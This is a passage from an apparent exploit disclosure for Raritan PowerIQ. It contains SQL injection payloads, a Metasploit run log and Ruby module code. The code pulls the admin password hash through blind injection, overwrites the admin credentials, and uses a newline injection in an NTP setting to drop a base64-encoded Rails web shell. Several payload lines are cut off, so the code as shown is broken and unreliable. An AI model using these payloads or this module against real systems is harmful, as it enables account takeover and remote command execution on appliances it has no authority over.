blind<NEWLINE>Title: Generic boolean<hyphen>based blind <hyphen> GROUP BY and ORDER BY clauses<NEWLINE>Payload: sort=id,(SELECT (CASE WHEN (6357=6357) THEN 1 ELSE 1<slash>(SELECT<NEWLINE>0) END))&dir=ASC<NEWLINE>Type: stacked queries<NEWLINE>Title: PostgreSQL > 8.1 stacked queries<NEWLINE>Payload: sort=id; SELECT PG<underscore>SLEEP(5)<hyphen><hyphen>&dir=ASC<NEWLINE>Type: AND<slash>OR time<hyphen>based blind<NEWLINE>Title: PostgreSQL > 8.1 time<hyphen>based blind <hyphen> Parameter replace<NEWLINE>Payload: sort=(SELECT 5480 FROM PG<underscore>SLEEP(5))&dir=ASC<NEWLINE>Place: POST<NEWLINE>Parameter: dir<NEWLINE>Type: boolean<hyphen>based blind<NEWLINE>Title: Generic boolean<hyphen>based blind <hyphen> GROUP BY and ORDER BY clauses<NEWLINE>Payload: sort=id&dir=ASC,(SELECT (CASE WHEN (5274=5274) THEN 1 ELSE<NEWLINE>1<slash>(SELECT 0) END))<NEWLINE>Type: stacked queries<NEWLINE>Title: PostgreSQL > 8.1 stacked queries<NEWLINE>Payload: sort=id&dir=ASC; SELECT PG<underscore>SLEEP(5)<hyphen><hyphen><NEWLINE>Type: AND<slash>OR time<hyphen>based blind<NEWLINE>Title: PostgreSQL > 8.1 time<hyphen>based blind <hyphen> GROUP BY and ORDER BY clauses<NEWLINE>Payload: sort=id&dir=ASC,(SELECT (CASE WHEN (1501=1501) THEN (SELECT<NEWLINE>1501 FROM PG<underscore>SLEEP(5)) ELSE 1<slash>(SELECT 0) END))<NEWLINE><hyphen><hyphen><hyphen><NEWLINE>There may also be a remote command execution vulnerability available to<NEWLINE>administrators (or you if you use the stacked injection to update the<NEWLINE>hashes).<NEWLINE>When saving an NTP server, you can inject a newline (%0a) into the request<NEWLINE>in order to save a malformed <single<underscore>quote>server<single<underscore>quote> stanza in the ntp.conf. When syncing<NEWLINE>with NTP, the application passes the first NTP server to the NTP utility<NEWLINE>via bash. I was not able to make my malformed NTP server available as the<NEWLINE>first in the list, thus was not able to achieve RCE. There may be a way to<NEWLINE>do it though that I am unaware of.<NEWLINE>Attached is a Metasploit module that I began writing when attempting to<NEWLINE>achieve RCE but was never able to. This module will<NEWLINE>A) Pull out the current password hash and salt for the <single<underscore>quote>admin<single<underscore>quote> user and<NEWLINE>cache them.<NEWLINE>B) Update the admin creeds to be <single<underscore>quote>admin:Passw0rd!<single<underscore>quote><NEWLINE>C) Set up the malformed NTP server<NEWLINE>D) Attempt to sync with NTP.<NEWLINE>Because I was not able to achieve RCE via that vector, this module does not<NEWLINE>actually pop a shell, so I am sorry about that.<NEWLINE>Maybe some PostgreSQL UDF fanciness will be the key.<NEWLINE>You may also find the module available here:<NEWLINE>https:<slash><slash>gist.github.com<slash>brandonprry<slash>01bcd9ec7b8a78ccfc42<NEWLINE>Quick module run:<NEWLINE>bperry@w00den<hyphen>pickle:~<slash>tools<slash>msf<underscore>dev$ .<slash>msfconsole<NEWLINE><underscore> <underscore><NEWLINE><slash> <backslash> <slash><backslash> <underscore><underscore> <underscore> <underscore><underscore> <slash><underscore><slash> <underscore><underscore><NEWLINE>| |<backslash> <slash> | <underscore><underscore><underscore><underscore><underscore> <backslash> <backslash> <underscore><underscore><underscore> <underscore><underscore><underscore><underscore><underscore> | | <slash> <backslash> <underscore> <backslash> <backslash><NEWLINE>| | <backslash><slash>| | | <underscore><underscore><underscore><backslash> |<hyphen> <hyphen>| <slash><backslash> <slash> <underscore><underscore><backslash> | <hyphen><underscore><underscore><slash> | || | || | |<hyphen> <hyphen>|<NEWLINE>|<underscore>| | | | <underscore>|<underscore><underscore> | |<underscore> <slash> <hyphen><backslash> <underscore><underscore><backslash> <backslash> | | | | <backslash><underscore><underscore><slash>| | | |<underscore><NEWLINE>|<slash> |<underscore><underscore><underscore><underscore><slash> <backslash><underscore><underscore><underscore><backslash><slash> <slash><backslash> <backslash><backslash><underscore><underscore><underscore><slash> <backslash><slash> <backslash><underscore><underscore>| |<underscore><backslash> <backslash><underscore><underscore><underscore><backslash><NEWLINE>=[ metasploit v4.9.0<hyphen>dev [core:4.9 api:1.0] ]<NEWLINE>+ <hyphen><hyphen> <hyphen><hyphen>=[ 1292 exploits <hyphen> 702 auxiliary <hyphen> 202 post ]<NEWLINE>+ <hyphen><hyphen> <hyphen><hyphen>=[ 332 payloads <hyphen> 33 encoders <hyphen> 8 nops ]<NEWLINE>msf > use exploit<slash>linux<slash>http<slash>raritan<underscore>poweriq<underscore>sqli<NEWLINE>msf exploit(raritan<underscore>poweriq<underscore>sqli) > set RHOST 192.168.1.25<NEWLINE>RHOST => 192.168.1.25<NEWLINE>msf exploit(raritan<underscore>poweriq<underscore>sqli) > check<NEWLINE>[*] Attempting to get banner... This could take several minutes to<NEWLINE>fingerprint depending on network speed.<NEWLINE>[*] Looks like the length of the banner is: 107<NEWLINE>[+] Looks like you are vulnerable.<NEWLINE>[+] 192.168.1.25:443 <hyphen> The target is vulnerable.<NEWLINE>msf exploit(raritan<underscore>poweriq<underscore>sqli) > exploit<NEWLINE>[*] Started reverse handler on 192.168.1.31:4444<NEWLINE>[*] Checking if vulnerable before attempting exploit.<NEWLINE>[*] Attempting to get banner... This could take several minutes to<NEWLINE>fingerprint depending on network speed.<NEWLINE>[*] Looks like the length of the banner is: 107<NEWLINE>[+] Looks like you are vulnerable.<NEWLINE>[*] We are vulnerable. Exploiting.<NEWLINE>[*] Caching current admin user<single<underscore>quote>s password hash and salt.<NEWLINE>[*] I can set it back later and they will be none the wiser<NEWLINE>[*] Grabbing current hash<NEWLINE>[*] Old hash: 84c420e40496930e27301b10930e5966638e0b21<NEWLINE>[*] Grabbing current salt<NEWLINE>[*] Old salt: 8f3cceddf302b3e2465d6e856e8818c6217d4d04<NEWLINE>[*] Resetting admin user credentials to admin:Passw0rd!<NEWLINE>[*] Authenticating with admin:Passw0rd!<NEWLINE>[*] Setting some stuff up<NEWLINE>[*] Sending stager<NEWLINE>[*] Triggering stager<NEWLINE>[*] Exploit completed, but no session was created.<NEWLINE>msf exploit(raritan<underscore>poweriq<underscore>sqli) ><NEWLINE><hyphen><hyphen> http:<slash><slash>volatile<hyphen>minds.blogspot.com <hyphen><hyphen> blog http:<slash><slash>www.volatileminds.net <hyphen><hyphen> website<NEWLINE>=end<NEWLINE>require <single<underscore>quote>msf<slash>core<single<underscore>quote><NEWLINE>class Metasploit3 < Msf::Exploit::Remote<NEWLINE>Rank = ExcellentRanking<NEWLINE>include Msf::Exploit::Remote::HttpClient<NEWLINE>def initialize(info={})<NEWLINE>super(update<underscore>info(info,<NEWLINE><single<underscore>quote>Name<single<underscore>quote> => <double<underscore>quote>Raritan PowerIQ Unauthenticated SQL Injection<double<underscore>quote>,<NEWLINE><single<underscore>quote>Description<single<underscore>quote> => %q{<NEWLINE>This module will exploit an unauthenticated SQL injection in order to gain<NEWLINE>a shell on the remote victim. This was tested against PowerIQ v4.1.0.<NEWLINE>The <single<underscore>quote>check<single<underscore>quote> command will attempt to pull the banner of the DBMS (PGSQL) in<NEWLINE>order to verify exploitability via boolean injections.<NEWLINE>In order to gain remote command execution, multiple vulnerabilities are used.<NEWLINE>I use a SQL injection to gain administrative access.<NEWLINE>I use a newline injection to save an NTP server I shouldn<single<underscore>quote>t be able to save.<NEWLINE>By saving this unsanitized NTP server, I can execute commands as <single<underscore>quote>nginx<single<underscore>quote> with<NEWLINE>a request to the server<single<underscore>quote>s web application.<NEWLINE>You can find a trial ISO at the following link. CentOS<hyphen>based with PGSQL.<NEWLINE>This is what this module was tested against.<NEWLINE>http:<slash><slash>cdn.raritan.com<slash>download<slash>power<hyphen>iq<slash>v4.1.0<slash>power<hyphen>iq<hyphen>v4.1.0.73.iso<NEWLINE>Trial license:<NEWLINE>http:<slash><slash>d3b2us605ptvk2.cloudfront.net<slash>download<slash>power<hyphen>iq<slash>RAR<underscore>PWIQ5FL<underscore>W7rYAAT<underscore>13JAN10<underscore>1206.lic<NEWLINE>If for some reason these links do not work, I <double<underscore>quote>registered<double<underscore>quote> for the trial here:<NEWLINE>https:<slash><slash>www1.raritan.com<slash>poweriqdownload.html<NEWLINE>},<NEWLINE><single<underscore>quote>License<single<underscore>quote> => MSF<underscore>LICENSE,<NEWLINE><single<underscore>quote>Author<single<underscore>quote> =><NEWLINE>[<NEWLINE>],<NEWLINE><single<underscore>quote>References<single<underscore>quote> =><NEWLINE>[<NEWLINE>],<NEWLINE><single<underscore>quote>DefaultOptions<single<underscore>quote> =><NEWLINE>{<NEWLINE><single<underscore>quote>SSL<single<underscore>quote> => true,<NEWLINE>},<NEWLINE><single<underscore>quote>Platform<single<underscore>quote> => <single<underscore>quote>unix<single<underscore>quote>,<NEWLINE><single<underscore>quote>Arch<single<underscore>quote> => ARCH<underscore>CMD,<NEWLINE><single<underscore>quote>Payload<single<underscore>quote> =><NEWLINE>{<NEWLINE><single<underscore>quote>BadChars<single<underscore>quote> => <double<underscore>quote><backslash>x20<double<underscore>quote>,<NEWLINE><single<underscore>quote>Compat<single<underscore>quote> =><NEWLINE>{<NEWLINE><single<underscore>quote>RequiredCmd<single<underscore>quote> => <single<underscore>quote>generic perl python<single<underscore>quote>,<NEWLINE>}<NEWLINE>},<NEWLINE><single<underscore>quote>Targets<single<underscore>quote> =><NEWLINE>[<NEWLINE>[<single<underscore>quote>Raritan PowerIQ v4.1.0<single<underscore>quote>, {}]<NEWLINE>],<NEWLINE><single<underscore>quote>Privileged<single<underscore>quote> => false,<NEWLINE><single<underscore>quote>DisclosureDate<single<underscore>quote> => <double<underscore>quote><double<underscore>quote>,<NEWLINE><single<underscore>quote>DefaultTarget<single<underscore>quote> => 0))<NEWLINE>register<underscore>options(<NEWLINE>[<NEWLINE>Opt::RPORT(443),<NEWLINE>OptString.new(<single<underscore>quote>TARGETURI<single<underscore>quote>, [true, <single<underscore>quote>The URI of the vulnerable instance<single<underscore>quote>, <single<underscore>quote><slash><single<underscore>quote>])<NEWLINE>], self.class)<NEWLINE>end<NEWLINE>def check<NEWLINE>res = send<underscore>request<underscore>cgi({<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <single<underscore>quote>license<single<underscore>quote>, <single<underscore>quote>records<single<underscore>quote>),<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>POST<single<underscore>quote>,<NEWLINE><single<underscore>quote>headers<single<underscore>quote> => {<NEWLINE><single<underscore>quote>X<hyphen>Requested<hyphen>With<single<underscore>quote> => <single<underscore>quote>XMLHttpRequest<single<underscore>quote><NEWLINE>},<NEWLINE><single<underscore>quote>data<single<underscore>quote> => <single<underscore>quote>sort=id&dir=ASC<single<underscore>quote><NEWLINE>})<NEWLINE>if !res or res.code != 200<NEWLINE>return Exploit::CheckCode::Safe<NEWLINE>end<NEWLINE>res = send<underscore>request<underscore>cgi({<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <single<underscore>quote>license<single<underscore>quote>, <single<underscore>quote>records<single<underscore>quote>),<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>POST<single<underscore>quote>,<NEWLINE><single<underscore>quote>headers<single<underscore>quote> => {<NEWLINE><single<underscore>quote>X<hyphen>Requested<hyphen>With<single<underscore>quote> => <single<underscore>quote>XMLHttpRequest<single<underscore>quote><NEWLINE>},<NEWLINE><single<underscore>quote>data<single<underscore>quote> => <double<underscore>quote>sort=id<single<underscore>quote>&dir=ASC<double<underscore>quote><NEWLINE>})<NEWLINE>if !res or res.code != 500<NEWLINE>print<underscore>error(<double<underscore>quote>Probably not vulnerable.<double<underscore>quote>)<NEWLINE>return Exploit::CheckCode::Safe<NEWLINE>end<NEWLINE>print<underscore>status(<double<underscore>quote>Attempting to get banner... This could take several minutes to fingerprint depending on network speed.<double<underscore>quote>)<NEWLINE>length = <single<underscore>quote><single<underscore>quote><NEWLINE>(1..3).each do |l|<NEWLINE>(47..57).each do |i|<NEWLINE>str = <double<underscore>quote>sort=id,(SELECT (CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(LENGTH(VERSION()) AS CHARACTER(10000)),(CHR(32))))::text FROM<NEWLINE>res = send<underscore>request<underscore>cgi({<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <single<underscore>quote>license<single<underscore>quote>, <single<underscore>quote>records<single<underscore>quote>),<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>POST<single<underscore>quote>,<NEWLINE><single<underscore>quote>headers<single<underscore>quote> => {<NEWLINE><single<underscore>quote>X<hyphen>Requested<hyphen>With<single<underscore>quote> => <single<underscore>quote>XMLHttpRequest<single<underscore>quote><NEWLINE>},<NEWLINE><single<underscore>quote>data<single<underscore>quote> => str<NEWLINE>})<NEWLINE>if res and res.code == 500<NEWLINE>length << i.chr<NEWLINE>break<NEWLINE>end<NEWLINE>end<NEWLINE>end<NEWLINE>if length == <single<underscore>quote><single<underscore>quote><NEWLINE>return Exploit::CheckCode::Safe<NEWLINE>end<NEWLINE>print<underscore>status(<double<underscore>quote>Looks like the length of the banner is: <double<underscore>quote> + length)<NEWLINE>banner = <single<underscore>quote><single<underscore>quote><NEWLINE>(1..length.to<underscore>i).each do |c|<NEWLINE>(32..126).each do |b|<NEWLINE>str = <double<underscore>quote>sort=id,(SELECT (CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32))))::text FROM<NEWLINE>res = send<underscore>request<underscore>cgi({<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <single<underscore>quote>license<single<underscore>quote>, <single<underscore>quote>records<single<underscore>quote>),<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>POST<single<underscore>quote>,<NEWLINE><single<underscore>quote>headers<single<underscore>quote> => {<NEWLINE><single<underscore>quote>X<hyphen>Requested<hyphen>With<single<underscore>quote> => <single<underscore>quote>XMLHttpRequest<single<underscore>quote>,<NEWLINE>},<NEWLINE><single<underscore>quote>data<single<underscore>quote> => str<NEWLINE>})<NEWLINE>if res and res.code == 500<NEWLINE>banner << b.chr<NEWLINE>if c%10 == 0<NEWLINE>vprint<underscore>status(<double<underscore>quote><NEWLINE>end<NEWLINE>if banner =~ <slash>postgresql<slash>i<NEWLINE>print<underscore>good(<double<underscore>quote>Looks like you are vulnerable.<double<underscore>quote>)<NEWLINE>vprint<underscore>good(<double<underscore>quote>Current banner: <double<underscore>quote> + banner)<NEWLINE>return Exploit::CheckCode::Vulnerable<NEWLINE>end<NEWLINE>break<NEWLINE>end<NEWLINE>end<NEWLINE>end<NEWLINE>return Exploit::CheckCode::Safe<NEWLINE>end<NEWLINE>def exploit<NEWLINE>print<underscore>status(<double<underscore>quote>Checking if vulnerable before attempting exploit.<double<underscore>quote>)<NEWLINE>if check == Exploit::CheckCode::Vulnerable<NEWLINE>print<underscore>status(<double<underscore>quote>We are vulnerable. Exploiting.<double<underscore>quote>)<NEWLINE>print<underscore>status(<double<underscore>quote>Caching current admin user<single<underscore>quote>s password hash and salt.<double<underscore>quote>)<NEWLINE>print<underscore>status(<double<underscore>quote>I can set it back later and they will be none the wiser<double<underscore>quote>)<NEWLINE>print<underscore>status(<double<underscore>quote>Grabbing current hash<double<underscore>quote>)<NEWLINE>old<underscore>crypted<underscore>password = get<underscore>admin<underscore>column<underscore>value(<double<underscore>quote>crypted<underscore>password<double<underscore>quote>)<NEWLINE>print<underscore>status(<double<underscore>quote>Old hash: <double<underscore>quote> + old<underscore>crypted<underscore>password)<NEWLINE>print<underscore>status(<double<underscore>quote>Grabbing current salt<double<underscore>quote>)<NEWLINE>old<underscore>salt = get<underscore>admin<underscore>column<underscore>value(<double<underscore>quote>salt<double<underscore>quote>)<NEWLINE>print<underscore>status(<double<underscore>quote>Old salt: <double<underscore>quote> + old<underscore>salt)<NEWLINE>print<underscore>status(<double<underscore>quote>Resetting admin user credentials to admin:Passw0rd!<double<underscore>quote>)<NEWLINE>headers = {<NEWLINE><single<underscore>quote>X<hyphen>Requested<hyphen>With<single<underscore>quote> => <single<underscore>quote>XMLHttpRequest<single<underscore>quote><NEWLINE>}<NEWLINE>salt<underscore>inj = <single<underscore>quote>;UPDATE users set salt = (CHR(56)||CHR(102)||CHR(51)||CHR(99)||CHR(99)||CHR(101)||CHR(100)||CHR(100)||CHR(102)||CHR(51)||CHR(48)||CHR(50)||CHR(98)||CHR(51)||CHR(101)||CHR(50)||CHR(52)||CHR(54)||CHR(53)||CHR(100)||CHR(54)||CHR(101)||CHR(56)||CHR(53)||CHR(54)||CHR(101)||CHR(56)||CHR(56)||CHR(49)||CHR(56)||CHR(99)||CHR(54)||CHR(50)||CHR(49)||CHR(55)||CHR(100)||CHR(52)||CHR(100)||CHR(48)||CHR(52)) WHERE login = (CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110))<hyphen><hyphen><single<underscore>quote><NEWLINE>hash<underscore>inj = <single<underscore>quote>;UPDATE users set crypted<underscore>password=(CHR(56)||CHR(52)||CHR(99)||CHR(52)||CHR(50)||CHR(48)||CHR(101)||CHR(52)||CHR(48)||CHR(52)||CHR(57)||CHR(54)||CHR(57)||CHR(51)||CHR(48)||CHR(101)||CHR(50)||CHR(55)||CHR(51)||CHR(48)||CHR(49)||CHR(98)||CHR(49)||CHR(48)||CHR(57)||CHR(51)||CHR(48)||CHR(101)||CHR(53)||CHR(57)||CHR(54)||CHR(54)||CHR(54)||CHR(51)||CHR(56)||CHR(101)||CHR(48)||CHR(98)||CHR(50)||CHR(49)) WHERE login = (CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110))<hyphen><hyphen><single<underscore>quote><NEWLINE>post = {<NEWLINE><single<underscore>quote>sort<single<underscore>quote> => <single<underscore>quote>id<single<underscore>quote> + salt<underscore>inj,<NEWLINE><single<underscore>quote>dir<single<underscore>quote> => <single<underscore>quote>ASC<single<underscore>quote><NEWLINE>}<NEWLINE>res = send<underscore>request<underscore>cgi({<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <single<underscore>quote>license<single<underscore>quote>, <single<underscore>quote>records<single<underscore>quote>),<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>POST<single<underscore>quote>,<NEWLINE><single<underscore>quote>headers<single<underscore>quote> => headers,<NEWLINE><single<underscore>quote>vars<underscore>post<single<underscore>quote> => post<NEWLINE>})<NEWLINE>if !res or res.code != 200<NEWLINE>fail<underscore>with(<double<underscore>quote>Server did not respond in an expected way<double<underscore>quote>)<NEWLINE>end<NEWLINE>post[<single<underscore>quote>sort<single<underscore>quote>] = <single<underscore>quote>id<single<underscore>quote> + hash<underscore>inj<NEWLINE>res = send<underscore>request<underscore>cgi({<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <single<underscore>quote>license<single<underscore>quote>, <single<underscore>quote>records<single<underscore>quote>),<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>POST<single<underscore>quote>,<NEWLINE><single<underscore>quote>headers<single<underscore>quote> => headers,<NEWLINE><single<underscore>quote>vars<underscore>post<single<underscore>quote> => post<NEWLINE>})<NEWLINE>if !res or res.code != 200<NEWLINE>fail<underscore>with(<double<underscore>quote>Server did not respond in an expected way<double<underscore>quote>)<NEWLINE>end<NEWLINE>print<underscore>status(<double<underscore>quote>Authenticating with admin:Passw0rd!<double<underscore>quote>)<NEWLINE>post = {<NEWLINE><single<underscore>quote>login<single<underscore>quote> => <single<underscore>quote>admin<single<underscore>quote>,<NEWLINE><single<underscore>quote>password<single<underscore>quote> => <single<underscore>quote>Passw0rd!<single<underscore>quote><NEWLINE>}<NEWLINE>res = send<underscore>request<underscore>cgi({<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <single<underscore>quote>login<single<underscore>quote>, <single<underscore>quote>login<single<underscore>quote>),<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>POST<single<underscore>quote>,<NEWLINE><single<underscore>quote>vars<underscore>post<single<underscore>quote> => post<NEWLINE>})<NEWLINE>if !res or res.code != 302<NEWLINE>fail<underscore>with(<double<underscore>quote>Authentication failed.<double<underscore>quote>)<NEWLINE>end<NEWLINE>cookie = res.get<underscore>cookies<NEWLINE>print<underscore>status(<double<underscore>quote>Setting some stuff up<double<underscore>quote>)<NEWLINE>res = send<underscore>request<underscore>cgi({<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <single<underscore>quote>admin<single<underscore>quote>, <single<underscore>quote>time<underscore>servers.json<single<underscore>quote>),<NEWLINE><single<underscore>quote>headers<single<underscore>quote> => headers,<NEWLINE><single<underscore>quote>cookie<single<underscore>quote> => cookie<NEWLINE>})<NEWLINE>if !res or res.code != 200<NEWLINE>fail<underscore>with(<double<underscore>quote>Server did not respond in an expected way.<double<underscore>quote>)<NEWLINE>end<NEWLINE>servers = JSON.parse(res.body)<NEWLINE>post = {<NEWLINE><single<underscore>quote><underscore>method<single<underscore>quote> => <single<underscore>quote><underscore>delete<single<underscore>quote>,<NEWLINE><single<underscore>quote>hosts<single<underscore>quote> => servers[<double<underscore>quote>servers<double<underscore>quote>].to<underscore>json<NEWLINE>}<NEWLINE>res = send<underscore>request<underscore>cgi({<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <single<underscore>quote>admin<single<underscore>quote>, <single<underscore>quote>time<underscore>servers<single<underscore>quote>, <single<underscore>quote>destroy<underscore>batch<single<underscore>quote>),<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>DELETE<single<underscore>quote>,<NEWLINE><single<underscore>quote>vars<underscore>post<single<underscore>quote> => post,<NEWLINE><single<underscore>quote>headers<single<underscore>quote> => headers,<NEWLINE><single<underscore>quote>cookie<single<underscore>quote> => cookie<NEWLINE>})<NEWLINE>if !res or res.code != 200<NEWLINE>fail<underscore>with(<double<underscore>quote>Server did not respond in an expected way.<double<underscore>quote>)<NEWLINE>end<NEWLINE>print<underscore>status(<double<underscore>quote>Sending stager<double<underscore>quote>)<NEWLINE>stage = <single<underscore>quote>`echo${IFS}Ye2xhc3MgRmRzYUNvbnRyb2xsZXIgPCBBY3Rpb25Db250cm9sbGVyOjpCYXNlCiAgZGVmIGluZGV4<single<underscore>quote><NEWLINE>stage << <single<underscore>quote>CiAgICByZXQgPSBgI3twYXJhbXNbOmNtZF19YAogICAgcmVkaXJlY3RfdG8gcmV0CiAgZW5kCmVu<single<underscore>quote><NEWLINE>stage << <single<underscore>quote>ZCAKIAoK|base64${IFS}<hyphen><hyphen>decode><slash>opt<slash>raritan<slash>polaris<slash>rails<slash>main<slash>app<slash>controllers<slash>rewq<underscore>controller.rb`<single<underscore>quote><NEWLINE>post = {<NEWLINE><single<underscore>quote>host[server]<single<underscore>quote> => <double<underscore>quote>www.abc.com<backslash>x0aserver <double<underscore>quote> + stage,<NEWLINE><single<underscore>quote>host[ip<underscore>type]<single<underscore>quote> => <single<underscore>quote>0<single<underscore>quote><NEWLINE>}<NEWLINE>res = send<underscore>request<underscore>cgi({<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <single<underscore>quote>admin<single<underscore>quote>, <single<underscore>quote>time<underscore>servers<single<underscore>quote>),<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>POST<single<underscore>quote>,<NEWLINE><single<underscore>quote>vars<underscore>post<single<underscore>quote> => post,<NEWLINE><single<underscore>quote>headers<single<underscore>quote> => headers,<NEWLINE><single<underscore>quote>cookie<single<underscore>quote> => cookie<NEWLINE>})<NEWLINE>if !res or res.code != 200 or res.body =~ <slash>false<slash><NEWLINE>fail<underscore>with(<double<underscore>quote>Server did not respond in an expected way.<double<underscore>quote>)<NEWLINE>end<NEWLINE>post = {<NEWLINE><single<underscore>quote><underscore>method<single<underscore>quote> => <single<underscore>quote><underscore>delete<single<underscore>quote>,<NEWLINE><single<underscore>quote>hosts<single<underscore>quote> => <single<underscore>quote>[{<double<underscore>quote>server<double<underscore>quote>:<double<underscore>quote>www.abc.com<double<underscore>quote>, <double<underscore>quote>ip<underscore>type<double<underscore>quote>:0}]<single<underscore>quote><NEWLINE>}<NEWLINE>res = send<underscore>request<underscore>cgi({<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <single<underscore>quote>admin<single<underscore>quote>, <single<underscore>quote>time<underscore>servers<single<underscore>quote>, <single<underscore>quote>destroy<underscore>batch<single<underscore>quote>),<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>DELETE<single<underscore>quote>,<NEWLINE><single<underscore>quote>vars<underscore>post<single<underscore>quote> => post,<NEWLINE><single<underscore>quote>headers<single<underscore>quote> => headers,<NEWLINE><single<underscore>quote>cookie<single<underscore>quote> => cookie<NEWLINE>})<NEWLINE>if !res or res.code != 200<NEWLINE>fail<underscore>with(<double<underscore>quote>Server did not respond in an expected way.<double<underscore>quote>)<NEWLINE>end<NEWLINE>res = send<underscore>request<underscore>cgi({<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <single<underscore>quote>admin<single<underscore>quote>, <single<underscore>quote>application<underscore>settings<single<underscore>quote>, <single<underscore>quote>edit<single<underscore>quote>),<NEWLINE><single<underscore>quote>cookie<single<underscore>quote> => cookie<NEWLINE>})<NEWLINE>if !res or res.code != 200<NEWLINE>fail<underscore>with(<double<underscore>quote>Server did not respond in an expected way.<double<underscore>quote>)<NEWLINE>end<NEWLINE>res.body =~ <slash>boxLabel: <double<underscore>quote>Enable NTP<double<underscore>quote>,<backslash>n checked: (true|false),<backslash>n listeners<slash>m<NEWLINE>checked = $1<NEWLINE>if checked == <double<underscore>quote>true<double<underscore>quote><NEWLINE>post = {<NEWLINE><single<underscore>quote><underscore>method<single<underscore>quote> => <single<underscore>quote>put<single<underscore>quote>,<NEWLINE><single<underscore>quote>rails<underscore>options[time<underscore>zone]<single<underscore>quote> => <single<underscore>quote>UTC<single<underscore>quote>,<NEWLINE><single<underscore>quote>date<underscore>time<single<underscore>quote> => <single<underscore>quote><single<underscore>quote>,<NEWLINE><single<underscore>quote>rails<underscore>options[ntp<underscore>enabled]<single<underscore>quote> => <single<underscore>quote>off<single<underscore>quote><NEWLINE>}<NEWLINE>res = send<underscore>request<underscore>cgi({<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <single<underscore>quote>admin<single<underscore>quote>, <single<underscore>quote>time<underscore>setting<single<underscore>quote>),<NEWLINE><single<underscore>quote>vars<underscore>post<single<underscore>quote> => post,<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>POST<single<underscore>quote>,<NEWLINE><single<underscore>quote>cookie<single<underscore>quote> => cookie<NEWLINE>})<NEWLINE>if !res or res.code != 302<NEWLINE>fail<underscore>with(<double<underscore>quote>Server did not respond in an expected way<double<underscore>quote>)<NEWLINE>end<NEWLINE>end<NEWLINE>post = {<NEWLINE><single<underscore>quote><underscore>method<single<underscore>quote> => <single<underscore>quote>put<single<underscore>quote>,<NEWLINE><single<underscore>quote>rails<underscore>options[time<underscore>zone]<single<underscore>quote> => <single<underscore>quote>UTC<single<underscore>quote>,<NEWLINE><single<underscore>quote>date<underscore>time<single<underscore>quote> => <single<underscore>quote><single<underscore>quote>,<NEWLINE><single<underscore>quote>rails<underscore>options[ntp<underscore>enabled]<single<underscore>quote> => <single<underscore>quote>on<single<underscore>quote><NEWLINE>}<NEWLINE>print<underscore>status(<double<underscore>quote>Triggering stager<double<underscore>quote>)<NEWLINE>res = send<underscore>request<underscore>cgi({<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <single<underscore>quote>admin<single<underscore>quote>, <single<underscore>quote>time<underscore>setting<single<underscore>quote>),<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>POST<single<underscore>quote>,<NEWLINE><single<underscore>quote>vars<underscore>post<single<underscore>quote> => post,<NEWLINE><single<underscore>quote>cookie<single<underscore>quote> => cookie,<NEWLINE>})<NEWLINE>end<NEWLINE>end<NEWLINE>def get<underscore>admin<underscore>column<underscore>value(column)<NEWLINE>ret = <single<underscore>quote><single<underscore>quote><NEWLINE>(1..40).each do |i|<NEWLINE>[*(<single<underscore>quote>0<single<underscore>quote>..<single<underscore>quote>9<single<underscore>quote>),*(<single<underscore>quote>a<single<underscore>quote>..<single<underscore>quote>f<single<underscore>quote>)].each do |c|<NEWLINE>inj = <double<underscore>quote>(SELECT (CASE WHEN (ASCII(SUBSTRING((SELECT COALESCE(CAST(<NEWLINE>post = {<NEWLINE><single<underscore>quote>sort<single<underscore>quote> => <single<underscore>quote>id,<single<underscore>quote> + inj,<NEWLINE><single<underscore>quote>dir<single<underscore>quote> => <single<underscore>quote>ASC<single<underscore>quote><NEWLINE>}<NEWLINE>res = send<underscore>request<underscore>cgi({<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <single<underscore>quote>license<single<underscore>quote>, <single<underscore>quote>records<single<underscore>quote>),<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>POST<single<underscore>quote>,<NEWLINE><single<underscore>quote>headers<single<underscore>quote> => 